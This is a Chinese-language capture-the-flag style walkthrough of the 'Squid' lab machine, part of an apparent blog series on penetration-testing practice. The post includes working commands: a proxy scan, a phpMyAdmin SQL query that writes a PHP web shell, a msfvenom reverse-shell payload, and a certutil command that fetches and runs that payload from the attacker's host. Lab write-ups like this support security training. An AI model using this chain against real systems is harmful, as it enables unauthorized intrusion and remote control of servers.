iT邦幫忙

2025 iThome 鐵人賽

DAY 18
0
Security

滲透探險 30 天:靶機挑戰記系列 第 18

PG Practice: Squid 攻略

  • 分享至 

  • xImage
  •  

Recon

第一步先來看看這臺機器上有什麼服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.248.189 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.248.189 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.248.189 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.248.189 -type recon;

https://ithelp.ithome.com.tw/upload/images/20251001/20178791nWUZ9nlRdY.png
在 port 3128 上有一個 HTTP Proxy http://squid:3128/
https://ithelp.ithome.com.tw/upload/images/20251001/20178791qQJNi6aWJ6.png

Initial Access & Privilege Escalation

因為我們對這個服務不太清楚,上網看了一下 hacktrick 的滲透方式
原來可以透過一個 Python 檔去做內網掃描的服務 https://book.hacktricks.wiki/en/network-services-pentesting/3128-pentesting-squid.html
https://ithelp.ithome.com.tw/upload/images/20251001/20178791ak5TjmPGs8.png
下載完 Hacktrick 上的 Python 檔以後按照他的指令輸入

python spose.py --proxy http://$tIP:3128 --target $tIP

https://ithelp.ithome.com.tw/upload/images/20251001/20178791jQ6LCjzqpG.png
掃描完成後發現2個很有趣的服務 原來這2個服務藏在代理器的後面 難怪我們沒有掃描到
現在我們可以透過 CURL 去透過 Port 3128 去碰觸 Port8080

curl --proxy http://$tIP:3128 http://$tIP:8080

https://ithelp.ithome.com.tw/upload/images/20251001/20178791GAlcEwO6rl.png
為了方便閱讀,我們設定 FoxyProxy 這樣我們就可以透過 FoxyProxy 執行 FireFox 去讀取這個網頁
https://ithelp.ithome.com.tw/upload/images/20251001/2017879171eHdptd3r.png
Port 8080上面開了一個叫做 Wampserver 的網頁,往下滑會發現它還列出了其它的服務在上面
那我們就把有開的服務都看一下可以收集到什麼樣的資訊

http://192.168.248.189:8080 

https://ithelp.ithome.com.tw/upload/images/20251001/201787917xjMJuXG14.png
https://ithelp.ithome.com.tw/upload/images/20251001/20178791LNScutGzKF.png

http://192.168.248.189:8080/?phpinfo=-1 

https://ithelp.ithome.com.tw/upload/images/20251001/20178791oGwZjveuWN.png

http://192.168.248.189:8080/phpsysinfo/index.php?disp=bootstrap 

https://ithelp.ithome.com.tw/upload/images/20251001/2017879148HcWUSXaW.png
PhpAdmin是 PHP 的管理後臺,一般來說不會對外開放
不過竟然看到了,這邊我們就先試試看預設的帳號密碼可否登錄

http://192.168.248.189:8080/phpmyadmin/ 

https://ithelp.ithome.com.tw/upload/images/20251001/20178791mdfT0KNCxI.png
https://ithelp.ithome.com.tw/upload/images/20251001/20178791e9tCU6t24G.png

Bingo! 竟然可以登入,那我們就可以使用他提供的 SQL console 來執行 SQL 命令
我們現在要準備寫入一個 web shell 到剛剛發現的網站根目錄中 c:\wamp\www

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:/wamp/www/webshell.php"

https://ithelp.ithome.com.tw/upload/images/20251001/20178791Ri1lQ3f3hf.png
https://ithelp.ithome.com.tw/upload/images/20251001/201787914tQX1S6AFq.png

看起來 web shell 可以成功執行
但令我們更興奮的是只要順利拿到這個的 reverse shell 我們就會是 administrator 的權限

http://192.168.248.189:8080/webshell.php?cmd=whoami

https://ithelp.ithome.com.tw/upload/images/20251001/20178791IRSfFSxfkV.png
事不宜遲,現在我們利用 msfvenom 去產生一個 exe 的執行檔,並且利用 web shell 去下載這個檔案到靶機上
設定好監聽後,接著直接執行!

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.197 LPORT=443 -f exe -o rShell.exe
http://192.168.248.189:8080/webshell.php?cmd=certutil.exe%20-urlcache%20-f%20http://192.168.45.197:8000/rShell.exe%20rShell.exe
http://192.168.248.189:8080/webshell.php?cmd=rShell.exe

https://ithelp.ithome.com.tw/upload/images/20251001/20178791XN3dkl8PE1.png

最後我們順利拿到了這個 shell 也拿到了2個 flags :)
https://ithelp.ithome.com.tw/upload/images/20251001/20178791emps8ukp53.png
https://ithelp.ithome.com.tw/upload/images/20251001/20178791vlWwjolT4q.png


上一篇
PG Practice: Hetemit 攻略
下一篇
PG Practice: Internal 攻略
系列文
滲透探險 30 天:靶機挑戰記21
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言